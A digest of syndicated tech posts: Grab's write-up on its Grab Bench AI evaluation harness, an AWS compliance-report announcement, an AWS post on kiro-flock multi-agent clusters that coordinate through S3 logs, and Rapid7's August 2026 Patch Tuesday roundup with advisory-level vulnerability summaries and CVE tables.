Post Syndicated from xkcd.com original https://xkcd.com/3284/

The administration thinks it's weird, but the geologists say it looks normal.

Grab Bench: Evaluating AI on Grab-shaped production work

2026-08-12 Grab Tech

Post Syndicated from Grab Tech original https://engineering.grab.com/grab-bench-evaluating-ai

Introduction

What worried us wasn’t the hallucination, it was the subtle plausibility. Answers an engineer could easily read past and accept: a right-looking Structured Query Language (SQL) query, a plausible tool call, an innocent profile update, or a patch that satisfied the surface tests.

When we analyzed the row-level failures, a clear pattern emerged:

SQL generation: kept the query shape but changed the underlying metric.
Tool calling: selected the right tool family but drifted on parameters.
Profile updates: cited every event instead of only the evidence that supported the claim.
Coding agents: passed visible tests while missing a hidden stateful invariant.

Grab Bench bridges this exact gap. Grab Bench is a configurable eval (evaluation) harness for artificial intelligence (AI) systems on Grab-shaped work. It runs model providers through task plugins, records one row per case/model pair, and uses deterministic scorers or large language model (LLM) judges depending on the task. We treat the eval like software: version it, run baselines, keep score records, and make the failure modes visible enough for a team to debug.

This write-up focuses on the design choices behind that work.

The problem: plausible is not correct

Public leaderboards are still useful; we read them too. They just answer a different question. A product team needs to know whether a model can preserve a metric definition, obey an internal tool contract, stay cautious with weak evidence, or make a code change without breaking behaviour hidden from the prompt.

The hard part is that real examples are rarely reusable as-is. Production traces, schemas, user records, and internal workflows need protection. So the benchmark has to preserve the shape of the work without depending on the work itself.

That constraint shaped Grab Bench from the beginning. Some surfaces stay internal. Others use synthetic or redacted cases. Either way, the case has to keep the thing that makes the work hard: metric faithfulness, tool-parameter discipline, evidence grounding, safety boundaries, or repository-level behaviour.

What Grab Bench runs

The harness is deliberately ordinary. A YAML configuration defines providers, models, task settings, sampling, concurrency, judge settings, and output paths. The runner loads rows, checks whether each model supports the required modality and application programming interface (API) family, calls the task plugin, and writes row-level records plus model summaries for dashboards.

The unusual part is that each task owns its contract:

Query generation cares about preserving metric and schema intent.
Tool use compares canonical tool names and parameters.
Multimodal pair matching scores constrained yes/no decisions.
Passenger-profile reasoning checks grounded claims, evidence, uncertainty, action quality, and safety.
Agentic coding runs visible and hidden workspace tests, plus hard-failure and anti-gaming checks.

This is why the row record matters. A leaderboard can tell us that one model is ahead. It cannot tell us whether the loss came from a fabricated evidence identifier (ID), a weak action, a hidden invariant, latency, cost, or a genuine capability gap.

Each run also keeps the unglamorous fields that make reruns possible: token use, latency, judge latency where applicable, skip reasons, resolved configurations, and dashboard-ready summaries. Without those fields, the next comparison starts from memory instead of evidence.

Figure 1 is deliberately boring: add a plugin; providers, records, and dashboards stay shared.

Figure 1. Grab Bench keeps execution shared while task plugins own request shaping, parsing, and scoring.

Design choice 1: make the cases safe, not generic

A useful eval case should feel familiar to the people who own the system. It should include distractors, stale context, ambiguous evidence, and the kind of boundary conditions that make production work tricky.

In passenger-profile reasoning, each case is a synthetic evidence ledger: rides, food, support, app events, saved places, promotions, and noise. All cases use synthetic data with no live user records. The model must return strict JavaScript Object Notation (JSON). Claims must come from an ontology; values must be valid for that claim; evidence IDs must exist; weak or sensitive inferences should be suppressed, not laundered into confident prose.

The scorer is deliberately mechanical where it can be: schema validity, claim correctness, evidence faithfulness, confidence calibration, action quality, and safety. It distinguishes required claims from acceptable auxiliary claims and forbidden claims, so a model can get credit for useful extra evidence without getting a pass on unsafe or unsupported inferences.

A simplified case might ask whether a passenger has a stable weekday commute:

The evidence ledger contains repeated morning rides from a home-like saved place to an office-like area, plus unrelated food orders and stale support contacts.
A good answer returns a claim such as weekday_commute = likely_home_to_office_commute, cites only the commute evidence IDs, and keeps confidence within the allowed range.
The scorer checks that the claim and value exist in the ontology, that every cited evidence ID exists, and that the cited rows actually support the claim.
If the model cites every event, fabricates an ID, adds a dietary-preference claim from one old order, or recommends an unsafe action, the row gets explicit failure tags or a score cap.
The result is still a number, but the row also says what failed, which is what an engineer needs to fix the prompt, scorer, data, or model choice.

For agentic coding, the repository is synthetic too, but it asks for a real-shaped change: default ride insurance across backend services, API compatibility, mobile helpers, analytics events, rollout controls, migration compatibility, idempotency, concurrency, and cancellation lifecycle. A patch that only satisfies visible tests is not enough.

The safety comes from using synthetic data. The pressure comes from keeping the real contract intact.

Design choice 2: score contracts, not confidence

LLM judges are useful for open-ended tasks such as SQL, where correctness can depend on business intent and query shape. But for many surfaces, the benchmark should not ask another model whether an answer seems good.

Grab Bench uses deterministic scoring when the task contract allows it. Passenger-profile reasoning scores ontology values and evidence IDs. Tool use compares canonical tool names and parameters. Multimodal pair matching scores exact labels. Agentic coding scores visible and hidden tests, maintainability, efficiency, and hard-failure gates.

The audit trail is the point. A fluent answer should not get credit for missing the contract. The row needs to say whether the model misunderstood the task, ignored a constraint, exceeded a budget, or produced something plausible but unsupported.

Design choice 3: make shortcuts visible

Benchmarks get weaker when shortcuts work. The scorer has to make those shortcuts visible.

In the reasoning benchmark, fabricated evidence IDs, unsupported claims, broad cite-everything behaviour, unsafe actions, and forbidden sensitive claims trigger penalties or caps. In the coding benchmark, hidden-test tampering, network-access patterns, oversized patches, case-id leakage, visible-only overfit, and implausible difficulty curves are blocked or investigated.

Baselines make that visible. Empty output, schema-only output, cite-all-evidence output, unsafe-sensitive output, no-op coding agents, and reference agents are not busywork; they are checks on the scorer. If a shortcut baseline can pass, the benchmark is not ready.

This is not about assuming bad faith. It is about refusing to reward behaviour that would fail the moment it left the harness. A profile update that cites every event has not shown evidence discipline. A SQL answer that changes the metric has not preserved intent. A coding agent that passes only visible tests has not earned trust.

Internal reproducibility and hidden pressure

The package has to be inspectable and hard to overfit at the same time. Engineers need to rerun the harness, read score records, and understand failures. Certification still needs unseen cases, or we end up optimising prompts against the examples everyone can see.

Grab Bench handles this with a split between teaching artifacts and certification artifacts. Teaching artifacts explain the task contract, scorer, examples, baselines, and canaries. Certification artifacts keep hidden splits, seeds, raw outputs, and full comparison evidence behind the right access boundaries.

One dataset cannot do all of that honestly. Shared examples are for learning the method. Hidden cases are for checking generalisation. Row-level outputs are for debugging. Aggregates are for comparison.

Before a comparison run is trusted, the package also has to pass gates: oracle or reference solutions behave as expected, weak baselines fail, redaction passes where applicable, score spread remains useful, and canaries catch harness regressions. Here, a canary is a deliberately simple or malformed case with a known expected result, such as a no-evidence profile update that must be rejected.

Figure 2. Teaching artifacts and certification artifacts share the same harness but need different access boundaries.

What we learned

The most useful Grab Bench output is often not the leaderboard. It is the failure taxonomy.

We saw that more reasoning is not a universal good. It can help planning-heavy tool use and hurt tasks that need literal schema discipline. Evidence selection is also part of reasoning: citing everything is not safer when only a few rows are direct support. For agentic coding, category-level results matter because a model can handle API contracts while missing stateful invariants.

We also learned not to treat prompt or model settings as universal. A setting that helps one task can make another worse. That pushed us toward task-level reports, not one global recommendation, and toward comparisons that show failure tags alongside scores.

Most of all, evals need hygiene: versions, baselines, gates, dashboards, and scope limits.

One limit is worth stating plainly: synthetic evals do not prove production uplift. They tell us whether a model respects the contract under controlled pressure. Live retrieval quality, user impact, and rollout decisions still need separate evidence.

What comes next

Next, we want the benchmark surfaces to look more like pipelines. Instead of scoring only the final answer, we want to separate retrieval, reasoning, action selection, latency, cost, and safety where the task supports it.

We also want packages to be easier for other teams to reuse. A good eval should not depend on one team remembering how it works; it should be documented, versioned, and safe enough for others to run.

Grab Bench is our attempt to make AI evaluation boring in the useful way: configuration in, rows out, failures explained, shortcuts caught. The question is not which model wins in the abstract. It is which model is ready for this work, under these constraints, with these failure modes.

The test I would apply to any eval is simple. If a cite-everything baseline can pass, the eval is not measuring evidence discipline. If a visible-test-only agent can pass, it is not measuring production behaviour. The useful conversation starts when the benchmark can show the shortcut and make it fail.

Join us

Grab is Southeast Asia’s leading superapp, serving over 900 cities across eight countries (Cambodia, Indonesia, Malaysia, Myanmar, the Philippines, Singapore, Thailand, and Vietnam). Through a single platform, millions of users access mobility, delivery, and digital financial services, including ride-hailing, food delivery, payments, lending, and digital banking via GXS Bank and GXBank. Founded in 2012, Grab’s mission is to drive Southeast Asia forward by creating economic empowerment for everyone while delivering sustainable financial performance and positive social impact.

Powered by technology and driven by heart, our mission is to drive Southeast Asia forward by creating economic empowerment for everyone. If this mission speaks to you, join our team today!

Landing Zone Accelerator Independent Assessment Report for C5:2020 now available on AWS Artifact

2026-08-12 Kevin Donohue

Post Syndicated from Kevin Donohue original https://aws.amazon.com/blogs/security/landing-zone-accelerator-independent-assessment-report-for-c52020-now-available-on-aws-artifact/

Organizations operating in Germany and across Europe increasingly need to demonstrate cloud security compliance under the Cloud Computing Compliance Criteria Catalogue (C5:2020), published by Germany’s Federal Office for Information Security (BSI). Last year, we introduced Landing Zone Accelerator on AWS support for digital sovereignty and today we’re announcing the availability of a new independent assessment report available on AWS Artifact which evaluates how the Landing Zone Accelerator (LZA) on AWS solution provides enhanced coverage for C5:2020 requirements by implementing nearly 200 native security controls. LZA is available using a standard multi-account configuration or as a container-based deployment option in the AWS European Sovereign Cloud, enabling customers with data residency requirements to use the same security configuration baseline.

How this accelerates your compliance journey

Security and compliance are a shared responsibility. LZA takes on part of this responsibility by defining a security architecture baseline and automatically provisioning your AWS environment that scales as your organization grows. Where AWS already provides C5 Type 2 attestation reports for “security of the cloud”, the LZA assessment report offers an independent opinion of how the security baseline LZA provisions aligns with C5:2020 criteria for “security in the cloud”. Instead of starting from scratch, you can deploy with LZA, evaluate the scope of coverage from the report, and use the LZA Compliance Workbook to build on and customize for your organization’s unique use case. These resources can help you reduce time in architecture design, evidence collection, and preparation for C5:2020 assessments. The free LZA Compliance Workbook available on AWS Artifact and open source Universal Configuration GitHub repository are also excellent sources to add to a knowledge base, enabling you to create a security compliance chat agent with Bedrock to assist your governance or assurance teams.

What’s in the report

AWS Partner Schellman, an independent third-party assessor, evaluated the LZA Universal Configuration architecture and security control baseline, which maps to C5:2020 controls in the LZA Compliance Workbook, to determine how the LZA infrastructure aligns to C5:2020 technical requirements. The report concluded that LZA can help implement 325 security controls in aggregate, aligning to technical requirements from eight C5:2020 control areas. It also describes the LZA architecture design, security best practices, and scoping considerations for C5:2020 assessments. This is the first installation of the independent C5 report for LZA, which will be updated in 2027 to evaluate coverage for the pending C5:2026 revision.

In addition to the LZA C5:2020 report, you can also find the LZA Compliance Workbook available on AWS Artifact. It maps C5:2020 requirement identifiers to security implementation statements, giving you a starting point from which you can customize and enhance your compliance documentation for your unique workloads or operational practices after deploying LZA.

Getting started with LZA for C5

Sign in to your AWS account first and then download the LZA C5:2020 Independent Assessment Report and LZA Compliance Workbook from AWS Artifact.
Visit the LZA Universal Configuration GitHub repository to review and download the latest configuration baseline. Also, see guidance for European Sovereign Cloud LZA deployments.
The LZA Implementation Guide walks you through deployment steps, use cases, and pre-deployment considerations.

To learn more, submit a question to a LZA team member or contact your AWS account representative.

If you have feedback about this post, submit comments in the Comments section below.

Scaling patterns for self-organizing multi-agent clusters with Kiro

2026-08-12 Ivo Kammerath

Post Syndicated from Ivo Kammerath original https://aws.amazon.com/blogs/architecture/scaling-patterns-for-self-organizing-multi-agent-clusters-with-kiro/

Most multi-agent systems today follow the same shape: a supervisor agent breaks a task down, hands the pieces to subagents, and stitches the results back together. This is how Kiro CLI delegates to subagents, and what the Strands Agents SDK gives you primitives for with graphs and agents-as-tools. It is a good default. One process holds the plan, so behavior stays predictable and every result passes through a single gate.

That one process is also the limit. Every assignment and every result flows through the supervisor, so its context window caps how much work the system can hold at once. If it dies, the run dies with it. And because a single planner fixes the decomposition upfront, you get one take on the problem, multiplied by N workers.

Plenty of distributed systems still coordinate centrally, and should. But the alternative has been around for decades: let participants converge through shared state instead. We wanted to know what happens when you apply that move to artificial intelligence (AI) agents, so we built kiro-flock, an open-source reference implementation. It runs clusters of Kiro CLI agents on Amazon Elastic Compute Cloud (Amazon EC2) with nothing between them but an Amazon Simple Storage Service (Amazon S3) bucket. No orchestrator, no message bus. Agents coordinate by reading each other’s append-only logs. This post explains the pattern and gives you enough to deploy the sample and watch a cluster converge yourself.

When to use this pattern

Architecture has to match the task. In the 2025 study “Towards a Science of Scaling Agent Systems” of 260 agent-system configurations they found exactly that: task performance ran from +80.8 percent on decomposable financial
reasoning to -70.0 percent on sequential planning, against a single-agent baseline.
Neither the supervisor nor this pattern wins everywhere.

A self-organizing cluster fits work that splits into many quasi-independent contributions toward one goal: reviewing a large code base, migrating hundreds of modules against a known target, generating tests or design alternatives at scale. It also suits brainstorming where you want real variety instead of one planner’s take. Parallelism matters more than ordering. Agents can join, fail, and leave without ceremony.

A supervisor fits the opposite profile. The task tree is known upfront, steps depend on each other, or you need a verification gate before results ship. The same study found that architectures without centralized verification propagate more errors. That is a real cost of removing the arbiter, though you can still gate the finished result the way the migration example ends in a full test pass. What a cluster will not give you is a gate between every step, and if you need that, the supervisor earns its bottleneck.

Workload profile	Better fit
Many independent contributions, one goal	Cluster
Decomposition should emerge from the work	Cluster
Diversity of approaches is an asset	Cluster
Long-running, agents come and go	Cluster
Known task tree, strict ordering	Supervisor
Central verification gate required	Supervisor
Interactive, latency-sensitive	Supervisor

The pattern

The core decision: coordination lives in shared state. No component plans, assigns, or aggregates for the rest. Three parts make it work:

Agents. Independent processes that read and write a shared store and never connect to each other. One agent failing stops only its own log.
A shared environment. A single store holds a direction file, one append-only log per agent, and a working area for artifacts.
A direction. A markdown file that states the goal and leaves the path to the agents.

Each agent runs a loop. It starts a fresh session, reads the direction and the logs of a bounded set of peers, decides on one contribution that moves the goal forward, writes its artifacts, and appends one line to its own log:

{"ts":"2026-07-21T14:12:42Z","iteration":0,"action":"wrote discussion on coordination topologies","result":"Created discussion-coordination-topologies.md covering ring vs mesh vs swarm trade-offs with analysis of convergence/diversity tension.","next_intent":"read neighbour contributions and either deepen topology discussion or explore a second angle"}

That line is the entire coordination message. No broker delivers it, no acknowledgment comes back. The next agent that reads it decides for itself what to do about it. Remove an agent and its neighbors read one fewer log. Add one mid-run and it joins the division of labor already underway.

The bounded peer set is deliberate. Agents sit in a logical ring and each reads a fixed number of neighbors on either side, set by a radius parameter. Give every agent full visibility and the cluster collapses onto whatever the first agent wrote, because each later agent reads that as consensus. Limited visibility lets signals spread gradually, and agents working from different context get room to develop alternatives.

In kiro-flock, each agent is a headless Kiro CLI session on its own Amazon EC2 instance, and the shared environment is an Amazon S3 bucket. Which tools an agent may use without review, and what each iteration reads and writes, are design decisions you make once per cluster. We think of them as harness engineering and loop engineering, and the drift failure mode in the following section shows why the fresh session per iteration matters.

What a run looks like

Reference architecture: EC2 agent instances, an S3 shared environment holding the direction, logs, and artifacts, an API Gateway and Lambda control plane behind Amazon Cognito, CloudWatch metrics, and Amazon Bedrock post-run analysis.

Figure 1. Reference architecture for a kiro-flock cluster on AWS.

Agents run as headless Kiro CLI sessions on EC2 instances, each reading and writing the S3 bucket that holds the direction, one log per agent, and the shared artifacts. An Amazon API Gateway and AWS Lambda control plane behind Amazon Cognito starts, stops, and steers clusters from the dashboard. Agents publish metrics to Amazon CloudWatch, and Amazon Bedrock backs the post-run analysis.

Take a concrete run: sixteen agents in a ring, directed to hold a distributed discussion on AI agent clustering and converge on a shared synthesis. The operator writes one direction file and starts the cluster. Nothing else is assigned.

The following lines are from that run (result fields shortened for print). In the first iteration the agents fanned out with no assignment: failure modes, coordination topologies, distributed-systems parallels, and several overlapping stigmergy pieces, all written in parallel within one minute of start. The later lines show an agent correcting course after reading its neighbors, the synthesis forming, and the cluster winding itself down:

{"ts":"2026-07-21T14:12:42Z","iteration":0,"action":"wrote discussion-failure-modes.md","result":"covered 5 failure modes (premature convergence, echo chambers, hot-spot collapse, idle cascades, stale reads) with mitigations","next_intent":"read neighbours next iteration, look for topics to challenge or extend"}
{"ts":"2026-07-21T14:14:31Z","iteration":1,"action":"wrote discussion-scaling-laws.md","result":"explored scaling regimes and communication cost vs value; diverged from neighbours who all wrote stigmergy in iteration 0","next_intent":"read neighbour updates, check if any uncovered angles remain"}
{"ts":"2026-07-21T14:16:04Z","iteration":2,"action":"wrote synthesis.md","result":"structured synthesis: 5 core claims, 3 key tensions, 5 open questions; integrated topologies, scaling, economics, failure modes","next_intent":"read neighbours' reactions to synthesis, refine, move toward idle if coverage is solid"}
{"ts":"2026-07-21T14:22:24Z","iteration":7,"action":"idle","result":"All 6 visible neighbours idle (iterations 4-6). Synthesis.md stable and comprehensive. Direction unchanged. Cluster fully converged.","next_intent":"remain idle unless direction changes or operator requests further work"}

The cluster converged on a shared synthesis covering the angles in the direction, and by iteration 7 all sixteen agents had declared themselves idle. Nobody assigned the topics, arbitrated the synthesis, or told the cluster it was done. Even done is only a signal read from the logs, since an agent goes idle when its neighbors are idle and the output is stable.

kiro-flock dashboard showing a single six-agent cluster running the amorphous algorithm at radius 1, each agent card listing its neighbors, health, and iteration log, with the shared environment and direction on the right.

Figure 2. A single cluster in the kiro-flock dashboard. Six agents run at radius 1, each on its own EC2 instance. Every agent card shows its neighbors and its latest log line, the “did / result / next intent” message its neighbors read. The right panel shows the shared environment in S3 and the direction the cluster works toward.

Three ways to answer “whose work do I read?”

Every iteration starts with that question, and the answer defines the coordination algorithm. kiro-flock ships three, swappable at runtime.

Amorphous (ring). Each agent reads a fixed window of neighbors set by radius R. An agent at radius 2 reads four neighbors whether the cluster holds 8 agents or 800, so per-agent work stays constant as the cluster grows. The ceiling is your EC2 vCPU quota, not the algorithm. The largest system we have run so far totaled 184 agents across 11 cooperating clusters, creating a programming language. Rings beyond the low hundreds are extrapolation from that constant per-agent cost, not tested territory. The price is speed: a signal moves one hop per iteration. That slowness is also what lets dissenting agents mature alternatives before the neighborhood locks in. Use it for parallel work, or as the opening phase before consensus.

Mesh (full visibility). Every agent reads every other agent’s latest entry. Alignment is fast and context grows linearly with the cluster, so mesh stays comfortable to about 30 agents and workable to about 50. Diversity collapses, because agents reacting to the same first signal agree instead of exploring. Use it when a small group must converge quickly.

Swarm (recency). Each agent reads the K most recently active peers, so the cluster reorganizes around where the action is. Good for ideation, runs well past 100 agents. If K stays small while N grows, most agents read the same few peers and pile onto one subtask. Raise K or switch to amorphous.

A productive sequence uses all three: open amorphous to explore, switch to swarm as a direction forms, finish in mesh to align on the output.

How long does convergence take? In a ring, one iteration carries a signal 2R positions, so full propagation takes ceil(N / 2R) iterations, and consensus roughly two to three times that, because agents observe, react, and confirm. The wall-clock column assumes an iteration interval of 30 seconds per agent loop, the default interval in the reference implementation. The interval is configurable per cluster.

Agents (N)	Radius (R)	Propagation ceil(N/2R)	Consensus (2-3x)	Wall clock to propagate
8	1	4 iterations	8-12 iterations	about 2 minutes
100	2	25 iterations	50-75 iterations	about 12 minutes
1,000	4	125 iterations	250-375 iterations	about 62 minutes
1,000	20	25 iterations	50-75 iterations	about 12 minutes

Radius trades per-agent context for convergence speed, as the last two rows show. For parallel map-style work, propagation barely matters. Agents only need to avoid duplicating each other. It costs you when the task needs consensus, so match radius and cluster size to the context you are in. The cost model follows the same logic: no always-on orchestrator and no broker. You pay for Kiro credits and the EC2 instances while they run, plus S3 storage and requests. You also pay for the AWS Lambda, Amazon API Gateway, and Amazon Bedrock usage the control plane and post-run analysis incur. See AWS Pricing.

None of this is new theory. Identical unreliable parts producing coherent global behavior through local reads is amorphous computing. Coordinating through traces left in a shared medium instead of messages is stigmergy, described by Grassé for termites in 1959 and formalized for artificial systems by Theraulaz and Bonabeau. And a set of append-only logs is a grow-only conflict-free replicated data type (CRDT) spreading gossip-style: replicas converge without locks, which is all the consistency this workload needs.

Where it breaks

Self-organizing clusters fail in ways orchestrated systems do not. With no supervisor to arbitrate, a bad signal can spread before anyone corrects it. Four failure modes recur, and each maps to a design choice rather than a safeguard bolted on afterward.

Failure mode	Where it comes from	Design choice that addresses it
Groupthink	Mesh visibility collapses the cluster onto the first signal	Open amorphous to build diversity, switch to mesh only to align
Drift	Persistent session history builds behavioral momentum	Fresh session per iteration. State lives only in shared logs
Hot spots	Swarm with K too small for N starves subtasks	Raise K, or switch to amorphous
Carry-over	Stale files from a previous run read as current context	Archive environment/ and store/ to history/ on every start

Drift deserves one more sentence, because it is the least obvious. An agent that keeps its session history carries a narrow reading of the direction forward even after its neighbors move on. Starting every iteration with no conversational memory sounds wasteful. It is actually the control that keeps a thousand independent loops steerable. The only state an agent carries is what it reads back from the shared logs.

Composing clusters

The same decision works one level up: clusters coordinate by reading each other’s shared environment, the way agents read each other’s logs. We run a structure we call WeltenBuilder: a feature cluster implements against an agreed interface, a shared-infrastructure cluster owns common services, a QA cluster reads across the others and reports inconsistencies as artifacts. A coordinator cluster writes conflict-resolution notes the others pick up on their next iteration. A resolution note is a trace, not a command. Remove the coordinator and you remove a signal, not a dependency.

Because the shared environment is the coordination plane, all clusters launch at the same time with no dependency graph to sequence. Contract bottlenecks dissolve the same way: a small mesh cluster converges on interface definitions in a few iterations while other clusters build against its latest stable output. This is where the pattern points: standing clusters, each producing one class of artifact, composed into a factory whose unit of work is a direction file and a topology.

kiro-flock WeltenBuilder dashboard showing several specialized clusters running at once, each with its own algorithm and agent count, beside the shared environment tree on the right.

Figure 3. Multiple specialized clusters in the WeltenBuilder dashboard, each with its own algorithm and agent count, coordinating only through the shared S3 environment on the right.

Try it

The kiro-flock reference implementation is open source under Apache 2.0. It is a sample to study and adapt, not a production system.

One setup script provisions the stack with the AWS Cloud Development Kit (AWS CDK): Amazon S3 for the shared environment, Amazon EC2 for the agents, and AWS Lambda with Amazon API Gateway as a control plane behind a dashboard. The dashboard starts and stops clusters, changes the algorithm, and updates the direction mid-run. Amazon Cognito handles access, and Amazon Bedrock backs a post-run analysis that summarizes how the cluster converged.

You need an AWS account with the AWS CDK bootstrapped. Install kiro-cli and create a Kiro API key for headless mode (requires a Kiro subscription). Then:

cp install.config.template install.config   # set REGION and PROFILE
./setup.sh

Direct a cluster in plain language: “Start a flock of 8 agents to review the files in my project and suggest improvements.” The default runs 8 agents at radius 1 and converged in 5 to 7 iterations in our runs. Before wider use, scope each agent’s EC2 AWS Identity and Access Management (IAM) role, restrict security-group egress to the endpoints agents should call, and add AWS Budgets alerts.

Conclusion

The supervisor pattern remains the right default for bounded task trees, whether you build it with Strands, Kiro CLI subagents, or any of the coding agents that delegate this way. When the work decomposes into many independent contributions and diversity matters more than a central gate, moving coordination into shared state helps remove the throughput ceiling and the single point of failure in one move. The convergence math and the failure modes both follow from that decision, and the distributed-systems results they rest on have been known for decades. Deploy the sample, read the logs as a cluster converges, and decide where your own multi-agent workloads belong.

About the authors

Patch Tuesday – August 2026

2026-08-12 Adam Barnett

Post Syndicated from Adam Barnett original https://www.rapid7.com/blog/post/em-patch-tuesday-august-2026

Microsoft is publishing 421 vulnerabilities on August 2026 Patch Tuesday, including 236 vulnerabilities in Windows. This is lower volume than last month’s record-breaking behemoth, but still one of the largest Patch Tuesday totals ever. There is no reason to suppose that Patch Tuesday will ever return to the lower volumes we saw prior to 2026. Microsoft is aware of exploitation in the wild for one of the vulnerabilities published today, as well as public disclosure for two others, although the Notable CVEs section of the Security Update Guide omits one of these. As usual, browser vulns are not included in the Patch Tuesday count above, but unusually, Microsoft does not appear to have published any desktop browser security patches so far this month.

SharePoint: critical RCE chain by Rapid7

Today sees the publication of CVE-2026-63520, a high-severity remote code execution in Microsoft SharePoint. Discovered by Rapid7 Senior Principal Security Researcher Stephen Fewer, and published today in coordination with Microsoft; this vulnerability is the second in a pair of exploits which, when chained together, comprise a critical unauthenticated remote code execution vulnerability in a vulnerable SharePoint server. Patches are available for SharePoint Server Subscription Edition, 2019, and 2016. Alongside today’s coordinated disclosure of CVE-2026-63520, Rapid7 has now published a detailed technical analysis and proof-of-concept for CVE-2026-55040, the first vulnerability in the chain.

AFD for Winsock: zero-day EoP

Rapid7 has previously discussed the Windows Ancillary Function Driver for WinSock, and today it returns to center stage with another exploited-in-the-wild elevation-of-privilege vulnerability. Successful exploitation requires winning a race condition, which increases the difficulty of producing a stable exploit. This also helps keep the CVSS v3 base score down to 7.0, along with a Microsoft proprietary severity ranking of merely important, rather than critical. However, with no user interaction required, and a prize of SYSTEM-level access, CVE-2026-68820 is just what the doctor ordered, if the doctor is based in Pyongyang and wants to steal your cryptocurrency. Microsoft credits CVE-2026-68820 to researchers at Check Point (misspelled “Checkpoint” on the advisory). CVE-2026-68820 isn’t yet listed on CISA KEV, but it will be soon.

What’s the opposite of coordinated disclosure?

This month’s entry in the ongoing saga of Microsoft vs. a pseudonymous security researcher with a clear dislike of Microsoft comes in the form of CVE-2026-62832, an elevation of privilege vulnerability in the Windows User Profile Service. Exploitation leads to administrator rights on the local asset, and is achieved via a specially crafted application, which is Microsoft corporate argot for exploit code. Between the public disclosure and the FAQ, which describes an authenticated attacker who has credentials for another account and loads another user’s registry hive, the advisory is a solid match for Nightmare Eclipse’s description of LegacyHive, which Rapid7 discussed last month.

Patch Tuesday watchers will have been wondering whether Nightmare Eclipse would continue the pattern of the past few months by dropping yet another zero-day vuln late on Patch Tuesday to maximize friction and inconvenience for Microsoft. Wonder no more, because the new entry on this growing list of headaches is ShieldBreak. Nightmare Eclipse describes ShieldBreak as a full patch bypass for RoguePlanet, a previous entry in the series which Microsoft patched as CVE-2026-50656 during July, a month after its public disclosure. Both vulnerabilities are therefore elevation-of-privilege to SYSTEM vulnerabilities in Defender.

Container isolation filesystem driver: isolation failure, tampering

CVE-2026-72971 describes a tampering vulnerability in the Windows Container Isolation FS Filter Driver (unionfs.sys), where abuse of a flaw in the vulnerable driver presumably allows an unauthorized attacker to overwrite certain files. Since this might include an action taken within a container leading to an unauthorized impact outside the container, it might be surprising that the advisory claims no scope change. Presumably Microsoft is leaning on the fact that the vulnerability is within a driver which operates entirely within a single security authority, i.e. kernel space, so there is only one impacted component and no scope change according to the CVSS v3 spec. Still, the low CVSS v3 base score of 5.5 probably isn’t telling the whole story in this case.

Vulnerabilities classed as tampering are somewhat rare in the Microsoft corpus, making up just a few dozen of the thousands of unique vulnerabilities which MSRC has ever patched or otherwise addressed. CVE-2026-72971 isn’t mentioned in the Notable CVEs section of the new slimline Security Update Guide. Should it be? Perhaps, because Microsoft is aware of public disclosure in this case, but then again the categorization as tampering means that Microsoft is not currently aware of a path to a more severe impact such as elevation of privilege or code execution. The advisory acknowledges a pair of pseudonymous reporters, who also receive credit on at least 40 other advisories over the past few months, across a wide variety of Windows components and Microsoft Office, including 11 critical vulnerabilities.

Edge: update slowdown?

Typically, Microsoft patches a fair few browser vulnerabilities between the start of each month and that month’s Patch Tuesday, but not this month. Conspicuous by its absence at the time of Patch Tuesday publication today was Microsoft Edge, which receives regular batches of patches as a downstream consumer of Google Chromium. At the moment of Patch Tuesday publication, the desktop incarnations of Edge last received security patches on July 31, 2026. Meanwhile, the Chrome Stable Channel received patches for 41 vulnerabilities on August 6, 2026. Anyone responsible for assets with Microsoft Edge installed will be relieved to know that patches for Edge eventually emerged a few hours later on Patch Tuesday itself, but five days is still a longer unpatched gap between Chrome and Edge than has been typical in the past.

Microsoft lifecycle update

August is typically a quieter month for Microsoft product lifecycle transitions, and this year continues that pattern. The next lifecycle changes with broad impact occur on October 14, 2026, when Windows 11 24H2 Home & Pro reach end of servicing, and Windows Server 2022 moves to extended support, with free critical security updates continuing, but no further feature development. At the same time, the final curtain falls for Windows Server 2012 and 2012 R2 with the expiry of the third and final year of cash-for-updates Extended Security Update (ESU) program for these aging workhorses. Office 2021 also moves beyond support, including the Long-Term Servicing Channel, with no ESU available in that case. Also in October, Exchange Server 2016 and 2019 will join the “no ESU” club, after two previous six-month reprieves. Presumably, Microsoft really means it this time.

Summary charts

Summary tables

Vulnerabilities by Product Family

Apps vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-68821	Windows Package Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3

Azure vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-70340	Azure CycleCloud Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-65806	Azure CycleCloud Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-47299	Azure Monitor Agent Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.2
CVE-2026-65673	Microsoft Entra Connect Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-6726	MITRE: CVE-2026-6726 TPM 2.0 Improper Object Slot Reuse	Exploitation Less Likely	No	7.9
CVE-2026-6727	MITRE: CVE-2026-6727 TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability	Exploitation Less Likely	No	5.9

Browser vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-70339	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Exploitation Unlikely	No	5.4
CVE-2026-19137	CVE-2026-19137 Use after free in WebGL	n/a	No
CVE-2026-19138	CVE-2026-19138 Heap buffer overflow in CrashReporting	n/a	No
CVE-2026-19139	CVE-2026-19139 Race in CredentialProvider	n/a	No
CVE-2026-19140	CVE-2026-19140 Use after free in GPU	n/a	No
CVE-2026-19142	CVE-2026-19142 Use after free in Views	n/a	No
CVE-2026-19144	CVE-2026-19144 Use after free in HTML	n/a	No
CVE-2026-19145	CVE-2026-19145 Use after free in Translate	n/a	No
CVE-2026-19146	CVE-2026-19146 Uninitialized Use in GPU	n/a	No
CVE-2026-19147	CVE-2026-19147 Use after free in Aura	n/a	No
CVE-2026-19148	CVE-2026-19148 Out of bounds write in GPU	n/a	No
CVE-2026-19149	CVE-2026-19149 Use after free in Aura	n/a	No
CVE-2026-19150	CVE-2026-19150 Inappropriate implementation in V8	n/a	No
CVE-2026-19151	CVE-2026-19151 Use after free in V8	n/a	No
CVE-2026-19152	CVE-2026-19152 Inappropriate implementation in Navigation	n/a	No
CVE-2026-19153	CVE-2026-19153 Insufficient validation of untrusted input in Workers	n/a	No
